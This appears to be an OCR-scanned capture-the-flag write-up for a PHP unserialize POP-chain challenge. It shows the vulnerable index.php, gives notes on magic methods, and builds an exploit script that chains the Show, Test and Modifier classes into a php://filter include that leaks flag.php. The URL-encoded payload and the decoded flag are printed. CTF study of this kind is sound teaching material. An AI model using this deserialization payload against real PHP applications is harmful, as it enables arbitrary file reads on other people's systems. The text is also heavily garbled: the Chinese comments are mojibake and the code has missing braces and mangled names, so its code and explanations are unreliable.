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Welcome to index php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.htmi#%E5%8F %8D%E5%BA%8F %E5%88%97 %E5%8C %96 %E9 %AD %94 %E6 %9 C%AF %E6 %96
%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//&X & #jinclude B EL, AT LLLEB TR Tohp I EHI, X E 2 ZE— TP,
}
public function __invoke(){// /5 &£t 19 77 20 18— 1 X R AT 59 121 )57 77 7%
$this->append($this->var);

class Show{
public $source;
public $str;
public function __construct($file="index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//& — " R 2 1E— 1N FHFFEE/HRT 1/, Zecho — N RET & H 3K XA 777

return $this->str->source;

public function __ wakeup(){
if(preg_match("/gopher|httpffile[ftp|https|dict\\/i", $this->source)) {/ &/ T #4 #iti T — Fhttp thil i 5 T, (BT HMNIHphp 15 Eh1%

echo "hacker";
$this->source = "index.php";

class Test{
public $p;
public function __construct(){
$this->p = array();

public function __ get($key){
$function = $this->p;/get 7% & [Fi$function, £z $function 9 Z£$this->p, 1% H KiModifier /g T 4L
return $function();

if(isset($_GET['pop'])){/get (£S5 pop, #EKk/FAI
@unserialize($_GET['pop']);

}

else{
$a=new Show,
highlight_file(__FILE_):
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__construct()//24— AN x5 G 6 52 B 4 1

__destruct() /24 —A%t G4 B 4 1

__toString() /24— % R4 4 1E— AR/

__sleep()//FEXT RIER FFFIL 2 BT B4T

_ wakeup()/ ¥ 1E R 5 B AL 2 J5 L BN 8 A (GBS B AL T R AN BN R R i)
__get(VARTE — AN KRR AR B

__set()//BE—NKK R A A B

__invoke( )/ FH eR B0 75 S FH — AN S R [ R  vk

__call()//24 38 Fl — A% G (AN B P B9 77 V25 R0 gt R AT 131 R 8
BEAFTE— AR AR, >RphpHEE .

i R 8. B

%&%& — T Modifier3§

class Modifier {
protected $var;
public function append($value){
include($value),//iX 2 finclude ¥, A LILEBNTHHTohp Y Ehi, X EHE— IR,
¥
public function __invoke(){// #/H &£t 19 77 20 18 — 1 XF R b 59 11 o7 77 7%
$this->append($this->var);
ki
ki
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_invoke B #0851 FI I & il K include R 4.
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class Test{
public $p;
public function __construct(){
$this->p = array();
ki

public function __ get($key){
$function = $this->p;
return $function();
ki
ki
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SR J5 7£ & showk

class Show{
public $source;
public $str;
public function __construct($file="'index.php'){
$this->source = $file;
echo "Welcome to '.$this->source."<br>";

}
public function __toString(){//7E — "R # 5 1E— 1 F 1R 1/, Zecho— N RAT £ H 35 R IZ A 777
return $this->str->source;

}

public function __ wakeup(){
if(preg_match("/gopherihttplfile[ftp|https|dict\.\./i", $this->source)) {/fE/F 7B 4L HE LM T— Fhito X9 F P, 12T HRE1THIphp 5 51 ik

echo "hacker";
$this->source = "index.php";
}
}
ki
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<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();

}

class Test{
public $p;

$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

7>

FETE LiphpH AT 7 5L

WETE WEBAEETE HoeTE EHGHEE ASEE SVCEETE

1 <?php . = 0%3A4%3A%225how%22%3A2%3A%7Bs%3A6%3A%22s0urce%22%3B0%3A4
2 elass Medifier ( T o ) B . %3A%225how%22%3A2%3A%7Bs%3A6%3A%22s0urce%22%3BN%3Bs%3A3%3
j protected $var="php://filter/read=convert. base64-encode/resource=flag. php”; A%225t1%22%3B0%3A1%3A%22 Test%22%3A1%3A%TBs%3A1%3A%22p%22%3
5(1 BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var %2
6 2%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-

7 encode%2Fresource%3Dflag.php%22%3B%7D%7D%7 Ds%3A3%3A%225tr%22%
8 3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%
g 7D

10 class Show{

11 public $source;

12 public $str;

13 public function __construct() {

14 $this—>str = new Test();

15 i

16}

17 class Test{

18 public 3$p;

19

20}

21

22,

23 $a = new Show();

24 $a—>source = new Show() ;

25 $a->source->str—>p = new Modifier();
26

27 - 4!
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Base64 TELLRABMRRD (w7 Basess 4T H)

Base64 | URLEncode | MD5 | TimeStamp

EHABHHT Base64 GRISEBRISNTIS

PD9waHAKY 2xhc3MgRmMxhZ3sKICAgIHBYaXZhdGUgJGZS Y WegICImbGFne2Q20WUSNZMyLWYYY2EtNDFkNyO4OWQ2LTQTMTImZjk
XNWNmMZHOIOWpICmVjaGBglkhlbHAGTWUGRmIUZCBGTEFHISIZCj8+

59 (Decode) || 1302 (Rl (GED CNE)
Baseb4 SRSakFISVE R O fRREBEE 2%
<?php

class Flag{
private $flag= "flag{d69e7732-f2ca-41d7-89d6-4512ff915cfd}";

)
echo "Help Me Find FLAG!";
ed
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BATLAERE R S SEARE A Base64 4RESA0 DataURI Fi/ak:
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